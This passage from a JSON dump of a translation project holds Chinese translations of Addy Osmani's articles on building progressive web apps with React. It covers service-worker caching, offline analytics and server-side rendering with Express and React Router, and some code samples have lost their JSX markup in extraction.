        \"app/js/**.js\",\n              \"app/images/**.*\"\n            ],\n           verbose: true\n          }\n        ),\n\n第二步：我们还想缓存运行时/动态请求。为了实现这一功能，我们需要引入 sw-toolbox 和上面的运行时缓存配置。应用使用了 Google Fonts 网络字体，所以我们添加一个简单的规则，缓存所有 [google.com](http://google.com/) 的 fonts 子域下的请求。\n\n    global.toolbox.router.get('/(.+)', global.toolbox.fastest, {\n       origin: /https?:\\/\\/fonts.+/\n    });\n\n\n从 API 端点（例如一个 appspot.com 上的应用引擎）缓存数据请求，类似如下：\n\n    global.toolbox.router.get('/(.*)', global.toolbox.fastest, {\n       origin: /\\.(?:appspot)\\.com$/\n    })\n\n**注意：sw-toolbox 支持许多有用的选项，包括能够设置缓存条目的最大失效时长（借助 maxAgeSeconds）。要了解更多支持细节，请阅读 [API docs](https://googlechrome.github.io/sw-toolbox/docs/releases/v3.2.0/tutorial-api.html)。**\n\n第三步：仔细想一想对你的用户来说，什么是最有帮助的离线体验。每个应用都有所不同。\n\nReactHN 依赖服务器返回的**实时**新闻报道和评论数据。一番实验之后，我们发现 UX 和性能之间的一个平衡点是用 **[稍微](https://youtu.be/srdKq0DckXQ?list=PLNYkxOF6rcIDz1TzmmMRBC-kd8zPRTQIP&t=558)** 老旧的数据提供离线体验。\n\n从其他已经发布的 PWA 上可以学到很多东西，鼓励大家尽可能地研究和分享学习成果。❤\n\n### 离线 Google 分析\n\n一旦在你的 PWA 使用 Service Worker 提升离线体验，你的关注点就会移向别处，比如，确保 Google 分析离线可用，如果你尝试离线 GA，请求会失败，你也不能得到有用的数据状态。\n\n![](https://cdn-images-1.medium.com/max/1600/1*xNryy3alOWPoKLjASEO4cg.png)\n\nIndexedDB 中的离线 Google 分析事件队列\n\n我们可以用 [离线 Google 分析库](https://developers.google.com/web/updates/2016/07/offline-google-analytics?hl=en) 解决这一问题（sw-offline-google-analytics）来解决这一问题。当用户离线时，入队所有 GA 请求，并且一旦网络再次可用，就尝试重连。我们今年的 [Google I/O web app](https://github.com/GoogleChrome/ioweb2016/blob/master/app/scripts/sw-toolbox/offline-analytics.js)\n就成功使用了相似的技术，鼓励大家都去试一试。\n\n### 普遍问题（和答案）\n\n对我来说，Service Worker 最难搞的部分就是调试。但去年开始，Chrome DevTools 显著降低了调试难度。为了节约你的时间和减少稍后踩的大坑，我强烈推荐在 [SW debugging codelab](https://codelabs.developers.google.com/codelabs/debugging-service-workers/index.html) 上做开发。😨\n\n记录你发现的技巧或者新知识也可以帮助别人。Rich Harris 就写了 [Service Worker 早知道](https://gist.github.com/Rich-Harris/fd6c3c73e6e707e312d7c5d7d0f3b2f9)。\n\n根据其他内容集结了资料如下：\n\n*   [如何删除一个多 bug 的 Service Worker 或者实现一个终止开关？](http://stackoverflow.com/a/38980776)\n*   [测试 Service Worker 代码有哪些方法？](http://stackoverflow.com/questions/34160509/options-for-testing-service-workers-via-http)\n*   [Service Worker 可以缓存 POST 请求吗？](http://stackoverflow.com/a/35272243)\n*   [如何多个页面注册同一个 sw ？](http://stackoverflow.com/a/33881341)\n*   [Service Worker 内部能够读取 cookie 吗？](https://github.com/w3c/ServiceWorker/issues/707) (敬请期待)\n*   [如何处理 Service Worker 的全局错误？](http://stackoverflow.com/questions/37736322/how-does-global-error-handling-work-in-service-workers)\n\n其他资源：\n\n*   [Service Worker 准备好了吗?](https://jakearchibald.github.io/isserviceworkerready/) — 浏览器实现状态和资源\n*   [立即加载：构建离线优先的渐进式 Web 应用](https://www.youtube.com/watch?v=cmGr0RszHc8) — Jake\n*   [渐进式 Web 应用的离线支持](https://www.youtube.com/watch?v=OBfLvqA_E4A) — 完全工具指南\n*   [使用 Service Worker 实现立即加载](https://www.youtube.com/watch?v=jCKZDTtUA2A) — Jeff Posnick\n*   [Mozilla Service Worker 小书](https://serviceworke.rs/)\n*   [开始使用 Service Worker 工具箱](http://deanhume.com/home/blogpost/getting-started-with-the-service-worker-toolbox/10134)— Dean Hume\n*   [Service Worker 单元测试相关资源](https://www.reddit.com/r/javascript/comments/4yq237/how_do_you_test_service_workers/d6qqqhh) — Matt Gaunt\n\n最后结语！\n\n在这个系列的第四部分，[我们会重点关注使用全局渲染来渐进增强 React.js 渐进式 Web 应用](https://github.com/xitu/gold-miner/blob/master/TODO/progressive-web-apps-with-react-js-part-4-site-is-progressively-enhanced.md)。\n\n如果你刚了解 React，Wes Bos 的 [React 入门](https://goo.gl/G1WGxU) 很适合你。\n\n**感谢 Gray Norton, Sean Larkin, Sunil Pai, Max Stoiber, Simon Boudrias, Kyle Mathews, Arthur Stolyar 和 Owen Campbell-Moore 的评论。**\n"
  },
  {
    "path": "TODO/progressive-web-apps-with-react-js-part-4-site-is-progressively-enhanced.md",
    "content": "> * 原文地址：[Progressive Web Apps with React.js: Part 4 — Progressive Enhancement](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-4-site-is-progressively-enhanced-b5ad7cf7a447#.7fmhi469z)\n* 原文作者：[Addy Osmani](https://medium.com/@addyosmani)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[rccoder](https://github.com/rccoder)\n* 校对者：[mortyu](https://github.com/mortyu)、[markzhai](https://github.com/markzhai)\n\n# 使用 React.js 的渐进式 Web 应用程序：第 4 部分 - 渐进增强\n\n### 渐进增强 (Progressive Enhancement)\n\n> 渐进增强 (Progressive Enhancement) 意味着所有人都可以在任意一款浏览器中访问页面的**基本内容**和功能，在那些不支持某些特性的浏览器中访问时，体验上有所退化但仍然是可用的。 - Lighthouse\n\n一个比较完善的 Web 应用要对它所面对的市场的大部分用户是可用的。如此，如果一个 Web 应用遵循弹性开发的理念，那么它可以避免用户在第一次进入应用时遭受好几秒的白屏而非正常要展示的内容的情况：\n\n![](https://cdn-images-1.medium.com/max/2000/1*1ORn_gBszpIr5grUWB1k_A.png)\n\n> 这是一份 ReactHN 的渲染策略 [比较](https://www.webpagetest.org/video/compare.php?tests=161010_Y3_1CPD,161010_SF_1C24)。在服务器端渲染 HTML 对于内容比较重要的网站是很有意义的，但相应的也会付出一系列的代价 —— 在用户多次访问 Web 应用的时候，基于 application shell 架构，已经在本地缓存的客户端渲染应用性能会更好，而服务端渲染每次都需要重新下载。我们在做抉择的时候，谨记什么是对我们更有意义的！\n\nAaron Gustafson，Web 标准的布道师，将 [渐进增强](http://alistapart.com/article/understandingprogressiveenhancement) 比作为花生糖。花生就是网站的内容，巧克力涂层就是你的表现层，JavaScript 就是这层硬硬的糖壳。这个涂层的颜色可能会不同，体验上也会因为所用的浏览器特性不同而有所差异。\n\n仔细想想，这个糖壳就是很多渐进增加的特性发挥作用的地方。 他们将 web 和 原生应用的优势结合在一起。不需要安装什么东西，这对在浏览器中第一次访问这个应用的用户很有用。用户用的越多，这层糖果壳就更甜，体验就越好。\n\n[](https://cdn-images-1.medium.com/max/1200/1*I_VmDeAtxyCc9ZaqkRcvEw.png)\n\n如果你的 Web 应用是渐进增强的，即在脚本没有加载的时候也有基本的内容，Lighthouse 将给你指路。\n\n在我看来，渐进增强不仅仅是 [让网站在没有禁用 JavaScript 脚本的条件下正常工作](https://jakearchibald.com/2013/progressive-enhancement-is-faster/)，也不是所谓的 [SEO](ttps://plus.google.com/+JohnMueller/posts/LT4fU7kFB8W)，而是在那种 [假连](https://twitter.com/jaffathecake/status/733283736343576576) 的和经常掉线的网络条件下，用户也能用上一些有用的功能。用 JavaScript 的库或者框架来实现渐进增强的话， 服务端渲染是一种有用的手段。\n\n### 统一渲染(Universal rendering)\n\n那么，话说回来，什么是 [服务端渲染](http://andrewhfarmer.com/server-side-render/) SSR？现代 Web 应用通常是在客户端使用 JavaScript 来呈现其大部分或全部内容。 这意味着，首次渲染不仅会被下载 HTML 文件（及其依赖的 JS 和 CSS）阻塞，而且会在执行 JavaScript 代码时被阻塞。使用 SSR，让页面的初始内容在服务器上生成，这样的话浏览器可以直接获取已经存在HTML内容的页面。\n\n[统一 JavaScript (Universal JavaScript)](https://strongloop.com/strongblog/node-js-react-isomorphic-javascript-why-it-matters) 就是在服务器端用 JavaScript 里的模板渲染，然后把它作为完整的 HTML 输出到浏览器。然后在客户端上，JavaScript 可以接管页面来处理页面交互。这种方式能有效地使服务器和客户端上的代码共享，在 React 中，我们一种方式实现服务器端渲染，给我们 “自由” 渐进增强。\n\n这个概念在React社区 [流行](https://www.smashingmagazine.com/2015/04/react-to-the-future-with-isomorphic-apps/) 有下面几个原因：应用程序可以以更快的速度在页面上呈现内容，没有网络太差这个大瓶颈；即使 JavaScript 无法加载，他也会正常工作；它使得客户端代码逐步生效，以达到更好的交互体验。\n\n因为 [renderToString](http://facebook.github.io/react/docs/top-level-api.html#reactdomserver.rendertostring) 函数 (这个函数将组件渲染成初始 HTML) ，React 做统一渲染相对很自然， 虽然要达到这一点还有不少步骤要完成。 关于怎样设置SSR 有一些 [指南](https://ifelse.io/2015/08/27/server-side-rendering-with-react-and-react-router/) ，下文我们会简要阐述其中一个。\n\n注：统一路由(Universal routing)指从客户端和服务端都可以用同一路由找到对应的视图（ [React Router支持这个很好](https://github.com/ReactTraining/react-router/blob/master/docs/guides/ServerRendering.md)。统一数据(Universal data)获取指从客户端和服务端都可以访问数据，比如通过一个 API。我使用  [isomorphic-fetch](https://www.npmjs.com/package/isomorphic-fetch)（基于Fetch API polyfill）去做这件事。\n\n![](https://cdn-images-1.medium.com/max/1200/1*hXtLt6n7FYlkLQ-pd3e3Yg.png)\n\n渐进式Web应用程序 [Selio](https://selio.com/) 中如果网络加载需要一定时间, 统一渲染会先加载一个不需 JS 即可运行的静态的版本，静态文件可以被脚本接管，以改善体验。\n\n\n具体到[Application Shell 架构](https://developers.google.com/web/fundamentals/architecture/app-shell)，您可以使用统一渲染在服务器上呈现您 Shell，以及那些你认为对用户很重要的内容 (比如文章正文)，你将会自然而然的选择使用这种服务器端渲染。\n\n![](https://cdn-images-1.medium.com/max/1600/0*bIfkiNN8A_q3plJh.)\n\n\n其他 PWA，如 Housing，[Flipkart](https://speakerdeck.com/abhinavrastogi/next-gen-web-scaling-progressive-web-apps) 和 AliExpress 服务器渲染的 shell 与 [屏幕](http://www.lukew.com/ff/entry.asp?1797)，虽然实际可能并不是立即加载，但用户会觉得内容是立即加载的。这让用户能够感觉到性能的提升。\n\n\n注意：服务器渲染可以意味着你的服务端要做 **更多的工作** ，并可能会增加您的代码库的复杂性，因为您的 React 组件需要 Node 环境是可用的。 在决定是否使用 SSR 的时候，请记住这一点。 德文林赛有一个很棒的演讲在[SSR perf with React](https://www.youtube.com/watch?v=PnpfGy7q96U)，非常值得去观看！\n\n前面的理论知识已经够用了，我们来具体看看代码吧！\n\n### 用 React Router 的统一渲染(Universal Rendering with React Router)\n\n[Pro React](http://www.pro-react.com/)（Cassio Zen 著作）中有一个关于 Isomorphic JS 与 React 的精彩章节，我建议你读一下他。本文这一节就是基于这一章节实现的一个简化版本。\n\nReact已经使用 [ReactDOMServer.renderToString()](https://facebook.github.io/react/docs/top-level-api.html#reactdomserver.rendertostring) 对服务器渲染组件提供了支持。 给定一个组件，它将生成要发送到浏览器的HTML标记。 React使用这些标记，并使用 [ReactDOM.render（）](https://facebook.github.io/react/docs/top-level-api.html#reactdom.render) 加强它，监听事件来实现交互并渲染出一些内容。\n\n假想我们来实现一个第三方的 Hacker News 应用，使用 Express 渲染 React 组件可能看起来像这样:\n\n``` javascript\n// server.js\nimport express from 'express';\nimport React from 'react';\nimport fs from 'fs';\nimport { renderToString } from 'react-dom/server';\nimport HackerNewsApp from './app/HackerNewsApp';\n\nconst app = express();\napp.set('views', './');\napp.set('view engine', 'ejs');\napp.use(express.static(__dirname + '/public'));\n\nconst stories = JSON.parse(fs.readFileSync(__dirname + '/public/stories.json', 'utf8'));\nconst HackerNewsFactory = React.createFactory(HackerNewsApp);\n\napp.get('/', (request, response) => {\n  const instanceOfComponent = HackerNewsFactory({ data: stories });\n  response.render('index', {\n      content: renderToString(instanceOfComponent)\n  });\n});\n```\n\n#### 统一渲染(Universal mounting)\n\n与服务器渲染组件一起渲染 React 工作，需要我们 **在客户端和服务器上提供相同的 props**，否则 React将无法选择，只能重新渲染 DOM，你会感觉 React 在抱怨你的这个愚蠢写法。它还将对感知的用户体验产生影响。 但问题是：我们如何使服务器作为 `props` 传递的数据也可在客户端上使用，然后把它作为 `props` 传播？一个常见的模式是将所有需要的 `props` 放到我们主 HTML 文件的一个 `script` 标签中，这样我们的客户端 JS 就可以直接使用了。 我们将其称为 “启动数据” 或 “初始数据”。\n\n下面是使用 EJS 模板的索引页面的示例，其中一个脚本具有我们的 React 组件所需的初始数据(initial data) 和 `props`，另一个脚本包含我们的 React 应用程序包的其余部分。\n\n``` javascript\n<! — index.html →\ndiv id=”container”><%- content %></div>\n<script type=”application/json” id=”bootupData”>\n <% reactBootupData %>\n</script>\n<script src=”bundle.js”></script>\n```\n\n在我们的 Express 代码中，我们可以配置我们的启动配置数据如下：\n\n``` javascript\n// ...\nconst stories = JSON.parse(fs.readFileSync(__dirname + '/public/stories.json', 'utf8'));\nconst HackerNewsFactory = React.createFactory(HackerNewsApp);\n\napp.get('/', (request, response) => {\n  const instanceOfComponent = HackerNewsFactory({ data: stories });\n  response.render('index', {\n      reactBootupData: JSON.stringify(stories),\n      content: renderToString(instanceOfComponent)\n  });\n});\n```\n现在我们回到客户端。将相同的 props 传递给我们的客户端无疑是重要的，如果不这么做，当我们通过服务器渲染它们时，React 将无法挂载到我们的预渲染组件。 在我们的客户端代码中，为了确保功能正常使用，我们只需要用上面的 script 标签保证初始数据可用就行了：\n\n``` javascript\nimport React from 'react';\nimport { render } from 'react-dom';\nimport HackerNewsApp from './app/HackerNewsApp';\n\nlet bootupData = document.getElementById('bootupData').textContent;\nif (bootupData !== undefined) {\n    bootupData = JSON.parse(bootupData);\n}\n\nrender(, document.getElementById('container'));\n```\n\n这使我们的客户端 React 代码能够挂载到服务器渲染的组件。\n\n#### 统一的数据请求(Universal Data-fetching)\n\n典型的SPA将有许多路由，但是一次为我们的所有路由加载所有数据是没有意义的。 相反，我们需要通过路由的映射来告知服务当前路由的组件需要什么数据，以便我们可以准确满足需要。如果用户从一个路由过渡到另一个路由，我们还需要动态拉取数据，这意味着我们需要一个支持在客户端上拉取数据和在服务器预拉取数据的策略。\n\n统一数据请求的常见解决方案是使用 [React对`statics`的支持](https://facebook.github.io/react/docs/component-specs.html) 在每个组件上创建静态 `fetchData` 方法，定义它需要什么数据。此方法可以随时访问，即使组件尚未实例化，这对于预拉取工作很重要。\n\n下面是一个简单的组件使用静态 `fetchData` 方法的代码片段。我们还可以利用客户端上的 `componentDidMount` 来检查服务器是否提供了我们的启动数据，否则我们是否需要自己获取启动数据。\n``` javascript\n// Fetch for Node and the browser\nimport fetch from 'isomorphic-fetch'; \n// ...\nclass HackerNewsApp extends Component {\n    constructor() {\n        super(...arguments);\n        this.state = {\n            stories: this.props.data || []\n        }\n    },\n    componentDidMount() {\n        if (!this.props.data) {\n            HackerNewsApp.fetchData().then( stories => {\n                this.setState({ stories });\n            })\n        }\n    },\n    render() {\n        // ...\n    }\n}\n\n// ...\nHackerNewsApp.propTypes = {\n    data: PropTypes.any\n}\n\nHackerNewsApp.fetchData = () => {\n    return fetch('http://localhost:8080/stories.json')\n    .then((response => response.json()));\n};\n\nexport default HackerNewsApp;\n```\n\n接下来，让我们看看在服务器上渲染路由。\n\n[React Router](https://github.com/ReactTraining/react-route)自 1.0 以来支持服务器渲染。这里有一些与客户端渲染不同的东西需要添加进来考虑，例如发送 30x 响应重定向和拉取数据之前渲染。为解决这些问题，我们可以使用一些底层 API [match](https://github.com/ReactTraining/react-router/blob/master/docs/API.md#match-routes-location-history-options-cb) 使得不需要同步渲染路由组件就可以将路由转换为一个要跳转到的地址。 [RouterContext](https://github.com/ReactTraining/react-router/blob/master/docs/API.md)用于路由的异步渲染组件。\n\n我们还可以遍历 `renderProps` 来检查是否存在静态 `fetchData` 方法，预拉取数据并将其作为 `props` 传递（如果存在）。在 Express 中，我们还需要将路由的入口点从 `/` 更改为通配符 `*`，以确保用户所访问的所有路由都调用正确的回调。\n\n再次查看一个 server.js：\n\n``` javascript\nimport express from \"express\";\nimport fs from 'fs';\nimport React from 'react';\nimport { renderToString } from 'react-dom/server';\nimport { match, RouterContext } from 'react-router';\nimport routes from './app/routes';\n\nconst app = express();\n\napp.set('views', './');\napp.set('view engine', 'ejs');\napp.use(express.static(__dirname + '/public'));\n\nconst stories = JSON.parse(fs.readFileSync(__dirname + '/public/stories.json', 'utf8'));\n\n// Helper function: Loop through all components in the renderProps object\n// and returns a new object with the desired key\nlet getPropsFromRoute = ({routes}, componentProps) => {\n  let props = {};\n  let lastRoute = routes[routes.length - 1];\n  routes.reduceRight((prevRoute, currRoute) => {\n    componentProps.forEach(componentProp => {\n      if (!props[componentProp] && currRoute.component[componentProp]) {\n        props[componentProp] = currRoute.component[componentProp];\n      }\n    });\n  }, lastRoute);\n  return props;\n};\n\nlet renderRoute = (response, renderProps) => {\n  // Loop through renderProps object looking for ’fetchData’\n  let routeProps = getPropsFromRoute(renderProps, ['fetchData']);\n  if (routeProps.fetchData) {\n    // If one of the components implements ’fetchData’, invoke it.\n    routeProps.fetchData().then((data)=>{\n      // Overwrite the react-router create element function\n      // and pass the pre-fetched data as data/bootupData props\n      let handleCreateElement = (Component, props) =>(\n        \n      );\n      // Render the template with RouterContext and loaded data.\n      response.render('index',{\n        bootupData: JSON.stringify(data),\n        content: renderToString(\n          \n        )\n      });\n    });\n  } else {\n    // No components in this route implements ’fetchData’.\n    // Render the template with RouterContext and no bootupData.\n    response.render('index',{\n    bootupData: null,\n    content: renderToString()\n    });\n  }\n};\n\napp.get('*', (request, response) => {\n  match({ routes, location: request.url }, (error, redirectLocation, renderProps) => {\n    if (error) {\n      response.status(500).send(error.message);\n    } else if (redirectLocation) {\n      response.redirect(302, redirectLocation.pathname + redirectLocation.search);\n    } else if (renderProps) {\n      renderRoute(response, renderProps);\n    } else {\n      response.status(404).send('Not found');\n    }\n  });\n});\n\napp.listen(3000, ()=>{\n  console.log(\"Express app listening on port 3000\");\n});\n```\n\n在客户端，我们需要进行类似的调整。 当我们渲染路由时，我们检查任何启动数据。 然后我们将它作为 `props` 传递给当前路由的组件。 [React Router 的 createElement 方法](https://github.com/ReactTraining/react-router/blob/master/docs/API.md#createelementcomponent-props) 用于初始化一些元素。这些元素作为 `props`, 传给有 `fetchData` 方法的组件的启动数据 。\n\n``` javascript\nlet handleCreateElement = (Component, props) => {\n    if (Component.hasOwnProperty('fetchData') {\n        let bootupData = document.getElementById('bootupData').textContent;\n        if (!bootupData == undefined) {\n            bootupData = JSON.parse(bootupData);\n        }\n        return ;\n    } else {\n        return ;\n    }\n}\n\nrender((\n    {routes}\n), document.getElementById('container'))\n```\n\n就这样，有很多关于使用 React 的统一渲染的知识，深入研究其他架构像 [Flux](https://facebook.github.io/flux/) 和像 [Redux](https://github.com/reactjs/redux) 的库适合。我强烈鼓励阅读一些链接，以对其他有效的模式有一个更全面的认识。\n\n### 数据流技巧(Data-flow tips)\n\n\n当在服务器上使用 React 时，不可能在 [componentDidMount](https://facebook.github.io/react/docs/component-specs.html) 中请求数据（就像在浏览器中一样）。 该代码不会被 `renderToString` 调用，如果它是可能的，你的异步数据请求将不会序列化，如 Jonas 在他的 [Isomorphic React in Real Life](https://jonassebastianohlsson.com/blog/2015/03/24/isomorphic-react-in-real-life/)中指出的那样（你应该阅读）。\n\n对于异步数据，答案是 “它有点复杂”。 您可以设置指示正在获取用户数据的初始状态，如占位符或加载中程序图标，或尝试正确地异步提取+渲染。\n\n一些小提示:)\n\n* [**componentWillMount**](https://facebook.github.io/react/docs/component-specs.html#mounting-componentwillmount) 在客户端和服务端都能被调用，并且这个调用发生在组件渲染之前，你可以在这个生命周期里面请求数据\n* 允许你在组件里面请求数据，然后在服务器渲染之前访问他。这就意味着像 `Component.fetchData()` (一些你会在组件里面定义的东西)会在渲染之前请求数据，这种方式也会和 React-Route 配合使用。请求在服务器上执行，然后等待，最后渲染。这与在客户端在重新渲染之前等待请求数据不同。\n* 对于 [React Router 上的异步数据流]，我在 SSR 中使用了几次。您在您的顶层组件中使用一个静态 fetchData 函数，它位于服务器端，并在渲染之前调用。 感谢 React Router的`match()`，我们可以找回包含我们匹配的组件的所有 `renderProps`，并且循环遍历它们以捕获所有 `fetchData` 函数并在服务器上运行它们。 [ifelse](https://ifelse.io/2015/08/27/server-side-rendering-with-react-and-react-router/）也记录了包含数据获取的 React Router 的另一个 SSR 策略。\n* [React Resolver](https://github.com/ericclemmons/react-resolver) 允许你在在每个组件级别定义数据需求，在客户端和服务器上处理嵌套的异步渲染。 它旨在产生纯净，无状态和易于测试的组件，详细请看 [Resolving on the server](https://github.com/ericclemmons/react-resolver/blob/master/docs/getting-started/ServerRendering.md) \n* 你也可以在服务端使用 Redux Store 让数据变得容易管理。一种常见的方法是使用异步Action Creators 从服务器请求数据。 这可以在 `componentWillMount` 上调用，您可以使用 Redux reducer 存储操作中的数据，将组件连接到 Redux reducer 并触发渲染更改。 关于他们的几个想法，参见[这个](https://www.reddit.com/r/reactjs/comments/3gplr2/how_do_you_guys_fetch_data_for_a_react_app_fully)的Reddit线程。 Static[也由Redux推荐](http://redux.js.org/docs/recipes/ServerRendering.html)，如果使用 React Route, “您可能还想把您的数据获取依赖作为静态 `fetchData()` 方法作为路由处理组件。 他们可能返回异步动作，所以你的handleRender 函数可以匹配路由到路由处理程序组件类，dispatch `fetchData()` 之后产生结果，并只有在 Promises `resolved` 之后才渲染。\n* [异步 Props](https://github.com/ryanflorence/async-props#server)提供在屏幕加载之前获取它的本地数据。它还支持在服务器上工作\n* Heroku 的 [React Refetch](https://github.com/heroku/react-refetch) 是另外一个试图帮助这个领域的项目。它将组件包装在 `connect()` 装饰器中，而不是映射state到 `props`，它将 `props` 映射到 URL（允许组件是无状态的）\n\n### 警惕使用全局变量(Guarding against globals)\n\n当统一渲染时，我们还需要记住，该节点没有 **document** 或 **window** 来使用。 [react-dom](https://www.npmjs.com/package/react-dom)似乎解决了这个问题，但如果你使用依赖 document, window 等的第三方组件，你需要封装或保护。\n\n如果依赖于 [Web Storage](https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API) 等这些浏览器 API，这可能会使您的代码受限。在 ReactHN 中，我们最终如下：\n\n``` javascript\n// Deserialize caches from sessionStorage\nloadSession() {\n if (typeof window === 'undefined') return\n idCache = parseJSON(window.sessionStorage.idCache, {})\n itemCache = parseJSON(window.sessionStorage.itemCache, {})\n}\n\n// Serialize caches to sessionStorage as JSON\nsaveSession() {\n if (typeof window === 'undefined') return\n window.sessionStorage.idCache = JSON.stringify(idCache)\n window.sessionStorage.itemCache = JSON.stringify(itemCache)\n}\n```\n\n注意：虽然上面是一个合理的方法，一个更好的方法是使用 `package.json` 中 的 “browser” 这个属性， [然后利用 Webpack 使用这些信息](https://github.com/webpack/webpack/issues/151)自动生成浏览器与节点的版本。实际上，这意味着创建一个 “component.js” 和 “component-browser.js”，并包含一个 `browser` 属性，如下\n\n``` javascript\n      \"browser\": {\n        \"/path/to/component.js\": \"/path/to/component-browser.js\"\n      }\n```\n\n这是看上去是挺好的，因为没有冗余的代码，Node 发送到浏览器，如果你做代码覆盖测试，没有必要在所有地方添加 ignore 语句。\n \n### 谨记：交互是关键(Remember: interactivity is key)\n\n#### 服务器渲染很像给用户一个热苹果派。 它看起来准备好了，但这并不意味他们马上可以吃。\n\n![](https://cdn-images-1.medium.com/max/1200/1*Znj9U-1dPk3L1WtlthETUg.png)\n\n渐进式的渲染如上图所示\n\n我们的用户界面可能包含按钮，链接和表格，由于需要的 JS 可能没有加载，在一些场景下点击按钮的时候可能不会产生任何效果。 可以以 [layers](https://soledadpenades.com/2016/09/15/progressive-enhancement-does-not-mean-works-when-javascript-is-disabled/) 的形式为这些功能提供基本体验。一个解决这个问题的比较前瞻性的方法可能通过渐进渲染和启动的方式来**聚集在交互上**。\n\n这意味着您可以在 HTML 中为包括 JS 和 CSS 的路由发送功能上可行但最小的视图。 随着更多的资源到达，应用程序逐步解锁更多的功能。 我们在[第2部分]中讨论了这个概念和实现它的模式[PRPL](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-2-page-load-性能-33b932d97cf2)。\n\n#### 实践：ReactHN(Practical implementation: ReactHN)\n\n![](https://cdn-images-1.medium.com/max/1200/1*HFaR46vKjYoiWgufKXXejQ.png)\n\n\n没有 JS，链接指向是这样的：`/story/:id`，有 JS 的情况下，链接的指向是这样的：`#/story/:id`\n\n[ReactHN](https://react-hn.appspot.com/)通过提供我们的主页和评论页面的服务器端渲染解决了PE。 **可以使用常规锚标签**在这两个之间导航。 当加载路由的 JavaScript 时，它将接管页面，所有后续导航将使用 SPA 样式模型进行导航 - 使用 JS 提取内容，并利用已使用Service Worker 缓存的应用程序 shell。 由于基于路由的分块，我们的[下一个版本](https://twitter.com/addyosmani/status/784957162128744448)还确保ReactHN变得很快交互。\n\n**一些其他我们需要学习的东西：**\n\n* **在服务器和客户端的PWA之间寻求100％的平衡是没有必要的。**在 React HN 中，我们注意到两个最受欢迎的页面是故事和评论。 我们为这两个部分实现了服务器渲染，其他像用户主页这样的访问量小的页面，就完全用客户端渲染。如用户配置文件。 当我们使用 Service Worker 缓存它们时，他们仍然可以立即加载重复访问。\n* **留下一些功能(明智的)**。我们的客户端评论页面可以实时更新，用黄色突出显示新发布的评论。这样把这部分 JS 留在服务器上更有意义。\n\n### 测试渐进式增强(Testing Progressive Enhancement)\n\n![](https://cdn-images-1.medium.com/max/1600/1*oWnsYNhEtyc3Sc8dtoWbAg.png)\n\nChrome DevTools 支持通过“设置”面板设置网络限制和禁用JS\n\n\n尽管现代调试工具（如Chrome DevTools）支持直接禁用 JavaScript，但我强烈建议使用 [网络限制](https://developers.google.com/web/tools/chrome-devtools/network-performance/network-conditions)进行测试。 这更好地反映了用户多长时间后能看到您的渐进式增强应用并开始交互。 它还提供了一个视图来观测加载最小启动路由功能带来的影响，服务端渲染实现的性能等等。\n\n### 阅读拓展\n\n下面是一些我找到的与 PE、SSR 相关的优秀文章:\n\n**Universal/Isomorphic Rendering and data-fetching**\n\n*   [React on the server for beginners](https://scotch.io/tutorials/react-on-the-server-for-beginners-build-a-universal-react-and-node-app)\n*   [Server-side rendering with React and React-router](https://ifelse.io/2015/08/28/server-side-rendering-with-react-and-react-router/)\n*   Progressive enhancement with React [Part 1](https://medium.com/@jacobp100/progressive-enhancement-techniques-for-react-part-1-7a551966e4bf#.8r5tojosb), [Part 2](https://medium.com/@jacobp/progressive-enhancement-techniques-for-react-part-2-5cb21bf308e5#.ugemu980s) and [Part 3](https://medium.com/@jacobp/progressive-enhancement-techniques-for-react-part-3-117e8d191b33#.nhrqqjxyu)\n*   [Server-side rendering with React, Node and Express](https://www.smashingmagazine.com/2016/03/server-side-rendering-react-node-express/)\n*   [React AJAX Best Practices](http://andrewhfarmer.com/react-ajax-best-practices)\n*   [Improving React server-side render perf using Electrode](https://medium.com/walmartlabs/using-electrode-to-improve-react-server-side-render-performance-by-up-to-70-e43f9494eb8b#.97w7lud3n)\n*   [Universal Data Population with React Router and Reflux](https://lorefnon.me/2016/04/04/universal-data-population-with-react--react-router-and-reflux.html#)\n\n**Progressive Enhancement**\n\n*   [Progressive enhancement is still important](https://jakearchibald.com/2013/progressive-enhancement-still-important/) and is [faster](https://jakearchibald.com/2013/progressive-enhancement-is-faster/)\n*   [Why we use Progressive Enhancement to build Gov.uk](https://gdstechnology.blog.gov.uk/2016/09/19/why-we-use-progressive-enhancement-to-build-gov-uk/)\n*   [Progressive enhancement is not about JavaScript availability](http://www.christianheilmann.com/2015/02/18/progressive-enhancement-is-not-about-javascript-availability/)\n*   [Progressive enhancement for JavaScript app developers](https://www.voorhoede.nl/en/blog/progressive-enhancement-for-javascript-app-developers/)\n*   [Be Progressive](https://adactio.com/journal/7706)\n\n在本系列的第 5 部分中，我们将介绍如何进一步减少 React.js 包的大小，提高加载性能，以及帮助您的渐进增强更早地实现。\n\n如果你是 React 新手，建议你阅读 Wes Bos 的 [给新手的 React 指南](https://goo.gl/G1WGxU)\n\n"
  },
  {
    "path": "TODO/progressive-web-apps-with-react-js-part-i-introduction.md",
    "content": "> * 原文地址：[Progressive Web Apps with React.js: Part I — Introduction](https://medium.com/@addyosmani/progressive-web-apps-with-react-js-part-i-introduction-50679aef2b12#.g5r0gv9j5)\n* 原文作者：[Addy Osmani](https://medium.com/@addyosmani)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [markzhai](https://github.com/markzhai)\n* 校对者：[Tina92](https://github.com/Tina92), [DeadLion](https://github.com/DeadLion)\n\n# 使用 React.js 的渐进式 Web 应用程序：第 1 部分 - 介绍\n\n\n\n\n### 渐进式 Web 应用程序利用新技术利用新技术的优势带给了用户最佳的移动网站和原生应用。它们是可靠的，迅捷的，迷人的。它们来自可靠的源，而且无论网络状态如何都能加载。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Ms2muRzG4DHE36YU4kX_ag@2x.png)\n\n\n\n在 [渐进式 Web 应用程序](https://infrequently.org/2015/06/progressive-apps-escaping-tabs-without-losing-our-soul/) (PWAs) 的世界中有很多新东西，你可能会想知道它们和现有架构是如何兼容的 —— 比如 [React](https://facebook.github.io/react/) 和 JS 模块化打包工具如 [Webpack](https://webpack.github.io/) 之间的兼容性如何。PWA 是否需要大量的重写？你需要关注哪个 Web 性能度量工具？在这系列的文章中，我将会分享将基于 React 的 web apps 转化为 PWAs 的经验。我们还将包括为什么**仅**加载用户路由所需要的，并抛开其他所有脚本是提高性能的好方式。\n\n### Lighthouse\n\n让我们从一个 PWA manifest 